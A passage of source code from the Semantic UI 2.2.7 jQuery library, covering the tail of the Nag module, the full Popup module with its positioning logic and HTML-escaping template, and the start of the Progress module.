module.get.storageOptions() ; if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) { window.localStorage.removeItem(key); } else if(settings.storageMethod == 'sessionstorage' && window.sessionStorage !== undefined) { window.sessionStorage.removeItem(key); } // store by cookie else if($.cookie !== undefined) { $.removeCookie(key, options); } else { module.error(error.noStorage); } } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { if($.isPlainObject(settings[name])) { $.extend(true, settings[name], value); } else { settings[name] = value; } } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.nag.settings = { name : 'Nag', silent : false, debug : false, verbose : false, performance : true, namespace : 'Nag', // allows cookie to be overridden persist : false, // set to zero to require manually dismissal, otherwise hides on its own displayTime : 0, animation : { show : 'slide', hide : 'slide' }, context : false, detachable : false, expires : 30, domain : false, path : '/', // type of storage to use storageMethod : 'cookie', // value to store in dismissed localstorage/cookie key : 'nag', value : 'dismiss', error: { noCookieStorage : '$.cookie is not included. A storage solution is required.', noStorage : 'Neither $.cookie or store is defined. A storage solution is required for storing state', method : 'The method you called is not defined.' }, className : { bottom : 'bottom', fixed : 'fixed' }, selector : { close : '.close.icon' }, speed : 500, easing : 'easeOutQuad', onHide: function() {} }; // Adds easing $.extend( $.easing, { easeOutQuad: function (x, t, b, c, d) { return -c *(t/=d)*(t-2) + b; } }); })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Popup * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.popup = function(parameters) { var $allModules = $(this), $document = $(document), $window = $(window), $body = $('body'), moduleSelector = $allModules.selector || '', hasTouch = (true), time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.popup.settings, parameters) : $.extend({}, $.fn.popup.settings), selector = settings.selector, className = settings.className, error = settings.error, metadata = settings.metadata, namespace = settings.namespace, eventNamespace = '.' + settings.namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $context = $(settings.context), $scrollContext = $(settings.scrollContext), $boundary = $(settings.boundary), $target = (settings.target) ? $(settings.target) : $module, $popup, $offsetParent, searchDepth = 0, triedPositions = false, openedWithTouch = false, element = this, instance = $module.data(moduleNamespace), documentObserver, elementNamespace, id, module ; module = { // binds events initialize: function() { module.debug('Initializing', $module); module.createID(); module.bind.events(); if(!module.exists() && settings.preserve) { module.create(); } if(settings.observeChanges) { module.observeChanges(); } module.instantiate(); }, instantiate: function() { module.verbose('Storing instance', module); instance = module; $module .data(moduleNamespace, instance) ; }, observeChanges: function() { if('MutationObserver' in window) { documentObserver = new MutationObserver(module.event.documentChanged); documentObserver.observe(document, { childList : true, subtree : true }); module.debug('Setting up mutation observer', documentObserver); } }, refresh: function() { if(settings.popup) { $popup = $(settings.popup).eq(0); } else { if(settings.inline) { $popup = $target.nextAll(selector.popup).eq(0); settings.popup = $popup; } } if(settings.popup) { $popup.addClass(className.loading); $offsetParent = module.get.offsetParent(); $popup.removeClass(className.loading); if(settings.movePopup && module.has.popup() && module.get.offsetParent($popup)[0] !== $offsetParent[0]) { module.debug('Moving popup to the same offset parent as activating element'); $popup .detach() .appendTo($offsetParent) ; } } else { $offsetParent = (settings.inline) ? module.get.offsetParent($target) : module.has.popup() ? module.get.offsetParent($popup) : $body ; } if( $offsetParent.is('html') && $offsetParent[0] !== $body[0] ) { module.debug('Setting page as offset parent'); $offsetParent = $body; } if( module.get.variation() ) { module.set.variation(); } }, reposition: function() { module.refresh(); module.set.position(); }, destroy: function() { module.debug('Destroying previous module'); if(documentObserver) { documentObserver.disconnect(); } // remove element only if was created dynamically if($popup && !settings.preserve) { module.removePopup(); } // clear all timeouts clearTimeout(module.hideTimer); clearTimeout(module.showTimer); // remove events module.unbind.close(); module.unbind.events(); $module .removeData(moduleNamespace) ; }, event: { start: function(event) { var delay = ($.isPlainObject(settings.delay)) ? settings.delay.show : settings.delay ; clearTimeout(module.hideTimer); if(!openedWithTouch) { module.showTimer = setTimeout(module.show, delay); } }, end: function() { var delay = ($.isPlainObject(settings.delay)) ? settings.delay.hide : settings.delay ; clearTimeout(module.showTimer); module.hideTimer = setTimeout(module.hide, delay); }, touchstart: function(event) { openedWithTouch = true; module.show(); }, resize: function() { if( module.is.visible() ) { module.set.position(); } }, documentChanged: function(mutations) { [].forEach.call(mutations, function(mutation) { if(mutation.removedNodes) { [].forEach.call(mutation.removedNodes, function(node) { if(node == element || $(node).find(element).length > 0) { module.debug('Element removed from DOM, tearing down events'); module.destroy(); } }); } }); }, hideGracefully: function(event) { var $target = $(event.target), isInDOM = $.contains(document.documentElement, event.target), inPopup = ($target.closest(selector.popup).length > 0) ; // don't close on clicks inside popup if(event && !inPopup && isInDOM) { module.debug('Click occurred outside popup hiding popup'); module.hide(); } else { module.debug('Click was inside popup, keeping popup open'); } } }, // generates popup html from metadata create: function() { var html = module.get.html(), title = module.get.title(), content = module.get.content() ; if(html || content || title) { module.debug('Creating pop-up html'); if(!html) { html = settings.templates.popup({ title : title, content : content }); } $popup = $('<div/>') .addClass(className.popup) .data(metadata.activator, $module) .html(html) ; if(settings.inline) { module.verbose('Inserting popup element inline', $popup); $popup .insertAfter($module) ; } else { module.verbose('Appending popup element to body', $popup); $popup .appendTo( $context ) ; } module.refresh(); module.set.variation(); if(settings.hoverable) { module.bind.popup(); } settings.onCreate.call($popup, element); } else if($target.next(selector.popup).length !== 0) { module.verbose('Pre-existing popup found'); settings.inline = true; settings.popup = $target.next(selector.popup).data(metadata.activator, $module); module.refresh(); if(settings.hoverable) { module.bind.popup(); } } else if(settings.popup) { $(settings.popup).data(metadata.activator, $module); module.verbose('Used popup specified in settings'); module.refresh(); if(settings.hoverable) { module.bind.popup(); } } else { module.debug('No content specified skipping display', element); } }, createID: function() { id = (Math.random().toString(16) + '000000000').substr(2, 8); elementNamespace = '.' + id; module.verbose('Creating unique id for element', id); }, // determines popup state toggle: function() { module.debug('Toggling pop-up'); if( module.is.hidden() ) { module.debug('Popup is hidden, showing pop-up'); module.unbind.close(); module.show(); } else { module.debug('Popup is visible, hiding pop-up'); module.hide(); } }, show: function(callback) { callback = callback || function(){}; module.debug('Showing pop-up', settings.transition); if(module.is.hidden() && !( module.is.active() && module.is.dropdown()) ) { if( !module.exists() ) { module.create(); } if(settings.onShow.call($popup, element) === false) { module.debug('onShow callback returned false, cancelling popup animation'); return; } else if(!settings.preserve && !settings.popup) { module.refresh(); } if( $popup && module.set.position() ) { module.save.conditions(); if(settings.exclusive) { module.hideAll(); } module.animate.show(callback); } } }, hide: function(callback) { callback = callback || function(){}; if( module.is.visible() || module.is.animating() ) { if(settings.onHide.call($popup, element) === false) { module.debug('onHide callback returned false, cancelling popup animation'); return; } module.remove.visible(); module.unbind.close(); module.restore.conditions(); module.animate.hide(callback); } }, hideAll: function() { $(selector.popup) .filter('.' + className.visible) .each(function() { $(this) .data(metadata.activator) .popup('hide') ; }) ; }, exists: function() { if(!$popup) { return false; } if(settings.inline || settings.popup) { return ( module.has.popup() ); } else { return ( $popup.closest($context).length >= 1 ) ? true : false ; } }, removePopup: function() { if( module.has.popup() && !settings.popup) { module.debug('Removing popup', $popup); $popup.remove(); $popup = undefined; settings.onRemove.call($popup, element); } }, save: { conditions: function() { module.cache = { title: $module.attr('title') }; if (module.cache.title) { $module.removeAttr('title'); } module.verbose('Saving original attributes', module.cache.title); } }, restore: { conditions: function() { if(module.cache && module.cache.title) { $module.attr('title', module.cache.title); module.verbose('Restoring original attributes', module.cache.title); } return true; } }, supports: { svg: function() { return (typeof SVGGraphicsElement === undefined); } }, animate: { show: function(callback) { callback = $.isFunction(callback) ? callback : function(){}; if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { module.set.visible(); $popup .transition({ animation : settings.transition + ' in', queue : false, debug : settings.debug, verbose : settings.verbose, duration : settings.duration, onComplete : function() { module.bind.close(); callback.call($popup, element); settings.onVisible.call($popup, element); } }) ; } else { module.error(error.noTransition); } }, hide: function(callback) { callback = $.isFunction(callback) ? callback : function(){}; module.debug('Hiding pop-up'); if(settings.onHide.call($popup, element) === false) { module.debug('onHide callback returned false, cancelling popup animation'); return; } if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) { $popup .transition({ animation : settings.transition + ' out', queue : false, duration : settings.duration, debug : settings.debug, verbose : settings.verbose, onComplete : function() { module.reset(); callback.call($popup, element); settings.onHidden.call($popup, element); } }) ; } else { module.error(error.noTransition); } } }, change: { content: function(html) { $popup.html(html); } }, get: { html: function() { $module.removeData(metadata.html); return $module.data(metadata.html) || settings.html; }, title: function() { $module.removeData(metadata.title); return $module.data(metadata.title) || settings.title; }, content: function() { $module.removeData(metadata.content); return $module.data(metadata.content) || $module.attr('title') || settings.content; }, variation: function() { $module.removeData(metadata.variation); return $module.data(metadata.variation) || settings.variation; }, popup: function() { return $popup; }, popupOffset: function() { return $popup.offset(); }, calculations: function() { var targetElement = $target[0], isWindow = ($boundary[0] == window), targetPosition = (settings.inline || (settings.popup && settings.movePopup)) ? $target.position() : $target.offset(), screenPosition = (isWindow) ? { top: 0, left: 0 } : $boundary.offset(), calculations = {}, scroll = (isWindow) ? { top: $window.scrollTop(), left: $window.scrollLeft() } : { top: 0, left: 0}, screen ; calculations = { // element which is launching popup target : { element : $target[0], width : $target.outerWidth(), height : $target.outerHeight(), top : targetPosition.top, left : targetPosition.left, margin : {} }, // popup itself popup : { width : $popup.outerWidth(), height : $popup.outerHeight() }, // offset container (or 3d context) parent : { width : $offsetParent.outerWidth(), height : $offsetParent.outerHeight() }, // screen boundaries screen : { top : screenPosition.top, left : screenPosition.left, scroll: { top : scroll.top, left : scroll.left }, width : $boundary.width(), height : $boundary.height() } }; // add in container calcs if fluid if( settings.setFluidWidth && module.is.fluid() ) { calculations.container = { width: $popup.parent().outerWidth() }; calculations.popup.width = calculations.container.width; } // add in margins if inline calculations.target.margin.top = (settings.inline) ? parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-top'), 10) : 0 ; calculations.target.margin.left = (settings.inline) ? module.is.rtl() ? parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-right'), 10) : parseInt( window.getComputedStyle(targetElement).getPropertyValue('margin-left'), 10) : 0 ; // calculate screen boundaries screen = calculations.screen; calculations.boundary = { top : screen.top + screen.scroll.top, bottom : screen.top + screen.scroll.top + screen.height, left : screen.left + screen.scroll.left, right : screen.left + screen.scroll.left + screen.width }; return calculations; }, id: function() { return id; }, startEvent: function() { if(settings.on == 'hover') { return 'mouseenter'; } else if(settings.on == 'focus') { return 'focus'; } return false; }, scrollEvent: function() { return 'scroll'; }, endEvent: function() { if(settings.on == 'hover') { return 'mouseleave'; } else if(settings.on == 'focus') { return 'blur'; } return false; }, distanceFromBoundary: function(offset, calculations) { var distanceFromBoundary = {}, popup, boundary ; calculations = calculations || module.get.calculations(); // shorthand popup = calculations.popup; boundary = calculations.boundary; if(offset) { distanceFromBoundary = { top : (offset.top - boundary.top), left : (offset.left - boundary.left), right : (boundary.right - (offset.left + popup.width) ), bottom : (boundary.bottom - (offset.top + popup.height) ) }; module.verbose('Distance from boundaries determined', offset, distanceFromBoundary); } return distanceFromBoundary; }, offsetParent: function($target) { var element = ($target !== undefined) ? $target[0] : $module[0], parentNode = element.parentNode, $node = $(parentNode) ; if(parentNode) { var is2D = ($node.css('transform') === 'none'), isStatic = ($node.css('position') === 'static'), isHTML = $node.is('html') ; while(parentNode && !isHTML && isStatic && is2D) { parentNode = parentNode.parentNode; $node = $(parentNode); is2D = ($node.css('transform') === 'none'); isStatic = ($node.css('position') === 'static'); isHTML = $node.is('html'); } } return ($node && $node.length > 0) ? $node : $() ; }, positions: function() { return { 'top left' : false, 'top center' : false, 'top right' : false, 'bottom left' : false, 'bottom center' : false, 'bottom right' : false, 'left center' : false, 'right center' : false }; }, nextPosition: function(position) { var positions = position.split(' '), verticalPosition = positions[0], horizontalPosition = positions[1], opposite = { top : 'bottom', bottom : 'top', left : 'right', right : 'left' }, adjacent = { left : 'center', center : 'right', right : 'left' }, backup = { 'top left' : 'top center', 'top center' : 'top right', 'top right' : 'right center', 'right center' : 'bottom right', 'bottom right' : 'bottom center', 'bottom center' : 'bottom left', 'bottom left' : 'left center', 'left center' : 'top left' }, adjacentsAvailable = (verticalPosition == 'top' || verticalPosition == 'bottom'), oppositeTried = false, adjacentTried = false, nextPosition = false ; if(!triedPositions) { module.verbose('All available positions available'); triedPositions = module.get.positions(); } module.debug('Recording last position tried', position); triedPositions[position] = true; if(settings.prefer === 'opposite') { nextPosition = [opposite[verticalPosition], horizontalPosition]; nextPosition = nextPosition.join(' '); oppositeTried = (triedPositions[nextPosition] === true); module.debug('Trying opposite strategy', nextPosition); } if((settings.prefer === 'adjacent') && adjacentsAvailable ) { nextPosition = [verticalPosition, adjacent[horizontalPosition]]; nextPosition = nextPosition.join(' '); adjacentTried = (triedPositions[nextPosition] === true); module.debug('Trying adjacent strategy', nextPosition); } if(adjacentTried || oppositeTried) { module.debug('Using backup position', nextPosition); nextPosition = backup[position]; } return nextPosition; } }, set: { position: function(position, calculations) { // exit conditions if($target.length === 0 || $popup.length === 0) { module.error(error.notFound); return; } var offset, distanceAway, target, popup, parent, positioning, popupOffset, distanceFromBoundary ; calculations = calculations || module.get.calculations(); position = position || $module.data(metadata.position) || settings.position; offset = $module.data(metadata.offset) || settings.offset; distanceAway = settings.distanceAway; // shorthand target = calculations.target; popup = calculations.popup; parent = calculations.parent; if(target.width === 0 && target.height === 0 && !module.is.svg(target.element)) { module.debug('Popup target is hidden, no action taken'); return false; } if(settings.inline) { module.debug('Adding margin to calculation', target.margin); if(position == 'left center' || position == 'right center') { offset += target.margin.top; distanceAway += -target.margin.left; } else if (position == 'top left' || position == 'top center' || position == 'top right') { offset += target.margin.left; distanceAway -= target.margin.top; } else { offset += target.margin.left; distanceAway += target.margin.top; } } module.debug('Determining popup position from calculations', position, calculations); if (module.is.rtl()) { position = position.replace(/left|right/g, function (match) { return (match == 'left') ? 'right' : 'left' ; }); module.debug('RTL: Popup position updated', position); } // if last attempt use specified last resort position if(searchDepth == settings.maxSearchDepth && typeof settings.lastResort === 'string') { position = settings.lastResort; } switch (position) { case 'top left': positioning = { top : 'auto', bottom : parent.height - target.top + distanceAway, left : target.left + offset, right : 'auto' }; break; case 'top center': positioning = { bottom : parent.height - target.top + distanceAway, left : target.left + (target.width / 2) - (popup.width / 2) + offset, top : 'auto', right : 'auto' }; break; case 'top right': positioning = { bottom : parent.height - target.top + distanceAway, right : parent.width - target.left - target.width - offset, top : 'auto', left : 'auto' }; break; case 'left center': positioning = { top : target.top + (target.height / 2) - (popup.height / 2) + offset, right : parent.width - target.left + distanceAway, left : 'auto', bottom : 'auto' }; break; case 'right center': positioning = { top : target.top + (target.height / 2) - (popup.height / 2) + offset, left : target.left + target.width + distanceAway, bottom : 'auto', right : 'auto' }; break; case 'bottom left': positioning = { top : target.top + target.height + distanceAway, left : target.left + offset, bottom : 'auto', right : 'auto' }; break; case 'bottom center': positioning = { top : target.top + target.height + distanceAway, left : target.left + (target.width / 2) - (popup.width / 2) + offset, bottom : 'auto', right : 'auto' }; break; case 'bottom right': positioning = { top : target.top + target.height + distanceAway, right : parent.width - target.left - target.width - offset, left : 'auto', bottom : 'auto' }; break; } if(positioning === undefined) { module.error(error.invalidPosition, position); } module.debug('Calculated popup positioning values', positioning); // tentatively place on stage $popup .css(positioning) .removeClass(className.position) .addClass(position) .addClass(className.loading) ; popupOffset = module.get.popupOffset(); // see if any boundaries are surpassed with this tentative position distanceFromBoundary = module.get.distanceFromBoundary(popupOffset, calculations); if( module.is.offstage(distanceFromBoundary, position) ) { module.debug('Position is outside viewport', position); if(searchDepth < settings.maxSearchDepth) { searchDepth++; position = module.get.nextPosition(position); module.debug('Trying new position', position); return ($popup) ? module.set.position(position, calculations) : false ; } else { if(settings.lastResort) { module.debug('No position found, showing with last position'); } else { module.debug('Popup could not find a position to display', $popup); module.error(error.cannotPlace, element); module.remove.attempts(); module.remove.loading(); module.reset(); settings.onUnplaceable.call($popup, element); return false; } } } module.debug('Position is on stage', position); module.remove.attempts(); module.remove.loading(); if( settings.setFluidWidth && module.is.fluid() ) { module.set.fluidWidth(calculations); } return true; }, fluidWidth: function(calculations) { calculations = calculations || module.get.calculations(); module.debug('Automatically setting element width to parent width', calculations.parent.width); $popup.css('width', calculations.container.width); }, variation: function(variation) { variation = variation || module.get.variation(); if(variation && module.has.popup() ) { module.verbose('Adding variation to popup', variation); $popup.addClass(variation); } }, visible: function() { $module.addClass(className.visible); } }, remove: { loading: function() { $popup.removeClass(className.loading); }, variation: function(variation) { variation = variation || module.get.variation(); if(variation) { module.verbose('Removing variation', variation); $popup.removeClass(variation); } }, visible: function() { $module.removeClass(className.visible); }, attempts: function() { module.verbose('Resetting all searched positions'); searchDepth = 0; triedPositions = false; } }, bind: { events: function() { module.debug('Binding popup events to module'); if(settings.on == 'click') { $module .on('click' + eventNamespace, module.toggle) ; } if(settings.on == 'hover' && hasTouch) { $module .on('touchstart' + eventNamespace, module.event.touchstart) ; } if( module.get.startEvent() ) { $module .on(module.get.startEvent() + eventNamespace, module.event.start) .on(module.get.endEvent() + eventNamespace, module.event.end) ; } if(settings.target) { module.debug('Target set to element', $target); } $window.on('resize' + elementNamespace, module.event.resize); }, popup: function() { module.verbose('Allowing hover events on popup to prevent closing'); if( $popup && module.has.popup() ) { $popup .on('mouseenter' + eventNamespace, module.event.start) .on('mouseleave' + eventNamespace, module.event.end) ; } }, close: function() { if(settings.hideOnScroll === true || (settings.hideOnScroll == 'auto' && settings.on != 'click')) { $scrollContext .one(module.get.scrollEvent() + elementNamespace, module.event.hideGracefully) ; } if(settings.on == 'hover' && openedWithTouch) { module.verbose('Binding popup close event to document'); $document .on('touchstart' + elementNamespace, function(event) { module.verbose('Touched away from popup'); module.event.hideGracefully.call(element, event); }) ; } if(settings.on == 'click' && settings.closable) { module.verbose('Binding popup close event to document'); $document .on('click' + elementNamespace, function(event) { module.verbose('Clicked away from popup'); module.event.hideGracefully.call(element, event); }) ; } } }, unbind: { events: function() { $window .off(elementNamespace) ; $module .off(eventNamespace) ; }, close: function() { $document .off(elementNamespace) ; $scrollContext .off(elementNamespace) ; }, }, has: { popup: function() { return ($popup && $popup.length > 0); } }, is: { offstage: function(distanceFromBoundary, position) { var offstage = [] ; // return boundaries that have been surpassed $.each(distanceFromBoundary, function(direction, distance) { if(distance < -settings.jitter) { module.debug('Position exceeds allowable distance from edge', direction, distance, position); offstage.push(direction); } }); if(offstage.length > 0) { return true; } else { return false; } }, svg: function(element) { return module.supports.svg() && (element instanceof SVGGraphicsElement); }, active: function() { return $module.hasClass(className.active); }, animating: function() { return ($popup !== undefined && $popup.hasClass(className.animating) ); }, fluid: function() { return ($popup !== undefined && $popup.hasClass(className.fluid)); }, visible: function() { return ($popup !== undefined && $popup.hasClass(className.visible)); }, dropdown: function() { return $module.hasClass(className.dropdown); }, hidden: function() { return !module.is.visible(); }, rtl: function () { return $module.css('direction') == 'rtl'; } }, reset: function() { module.remove.visible(); if(settings.preserve) { if($.fn.transition !== undefined) { $popup .transition('remove transition') ; } } else { module.removePopup(); } }, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(!settings.silent && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(!settings.silent && settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { if(!settings.silent) { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); } }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.popup.settings = { name : 'Popup', // module settings silent : false, debug : false, verbose : false, performance : true, namespace : 'popup', // whether it should use dom mutation observers observeChanges : true, // callback only when element added to dom onCreate : function(){}, // callback before element removed from dom onRemove : function(){}, // callback before show animation onShow : function(){}, // callback after show animation onVisible : function(){}, // callback before hide animation onHide : function(){}, // callback when popup cannot be positioned in visible screen onUnplaceable : function(){}, // callback after hide animation onHidden : function(){}, // when to show popup on : 'hover', // element to use to determine if popup is out of boundary boundary : window, // whether to add touchstart events when using hover addTouchEvents : true, // default position relative to element position : 'top left', // name of variation to use variation : '', // whether popup should be moved to context movePopup : true, // element which popup should be relative to target : false, // jq selector or element that should be used as popup popup : false, // popup should remain inline next to activator inline : false, // popup should be removed from page on hide preserve : false, // popup should not close when being hovered on hoverable : false, // explicitly set content content : false, // explicitly set html html : false, // explicitly set title title : false, // whether automatically close on clickaway when on click closable : true, // automatically hide on scroll hideOnScroll : 'auto', // hide other popups on show exclusive : false, // context to attach popups context : 'body', // context for binding scroll events scrollContext : window, // position to prefer when calculating new position prefer : 'opposite', // specify position to appear even if it doesn't fit lastResort : false, // delay used to prevent accidental refiring of animations due to user error delay : { show : 50, hide : 70 }, // whether fluid variation should assign width explicitly setFluidWidth : true, // transition settings duration : 200, transition : 'scale', // distance away from activating element in px distanceAway : 0, // number of pixels an element is allowed to be "offstage" for a position to be chosen (allows for rounding) jitter : 2, // offset on aligning axis from calculated position offset : 0, // maximum times to look for a position before failing (9 positions total) maxSearchDepth : 15, error: { invalidPosition : 'The position you specified is not a valid position', cannotPlace : 'Popup does not fit within the boundaries of the viewport', method : 'The method you called is not defined.', noTransition : 'This module requires ui transitions <path_to_url notFound : 'The target or popup you specified does not exist on the page' }, metadata: { activator : 'activator', content : 'content', html : 'html', offset : 'offset', position : 'position', title : 'title', variation : 'variation' }, className : { active : 'active', animating : 'animating', dropdown : 'dropdown', fluid : 'fluid', loading : 'loading', popup : 'ui popup', position : 'top left center bottom right', visible : 'visible' }, selector : { popup : '.ui.popup' }, templates: { escape: function(string) { var badChars = /[&<>"'`]/g, shouldEscape = /[&<>"'`]/, escape = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#x27;", "`": "&#x60;" }, escapedChar = function(chr) { return escape[chr]; } ; if(shouldEscape.test(string)) { return string.replace(badChars, escapedChar); } return string; }, popup: function(text) { var html = '', escape = $.fn.popup.settings.templates.escape ; if(typeof text !== undefined) { if(typeof text.title !== undefined && text.title) { text.title = escape(text.title); html += '<div class="header">' + text.title + '</div>'; } if(typeof text.content !== undefined && text.content) { text.content = escape(text.content); html += '<div class="content">' + text.content + '</div>'; } } return html; } } }; })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Progress * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; var global = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.progress = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.progress.settings, parameters) : $.extend({}, $.fn.progress.settings), className = settings.className, metadata = settings.metadata, namespace = settings.namespace, selector = settings.selector, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $bar = $(this).find(selector.bar), $progress = $(this).find(selector.progress), $label = $(this).find(selector.label), element = this, instance = $module.data(moduleNamespace), animating = false, transitionEnd, module ; module = { initialize: function() { module.debug('Initializing progress bar', settings); module.set.duration(); module.set.transitionEvent(); module.read.metadata(); module.read.settings(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of progress', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous progress for', $module); clearInterval(instance.interval); module.remove.state(); $module.removeData(moduleNamespace); instance = undefined; }, reset: function() { module.remove.nextValue(); module.update.progress(0); }, complete: function() { if(module.percent === undefined || module.percent < 100) { module.remove.progressPoll(); module.set.percent(100); } }, read: { metadata: function() { var data = { percent : $module.data(metadata.percent), total : $module.data(metadata.total), value : $module.data(metadata.value) } ; if(data.percent) { module.debug('Current percent value set from metadata', data.percent); module.set.percent(data.percent); } if(data.total) { module.debug('Total value set from metadata', data.total); module.set.total(data.total); } if(data.value) { module.debug('Current value set from metadata', data.value); module.set.value(data.value); module.set.progress(data.value); } }, settings: function() { if(settings.total !== false) { module.debug('Current total set in settings', settings.total); 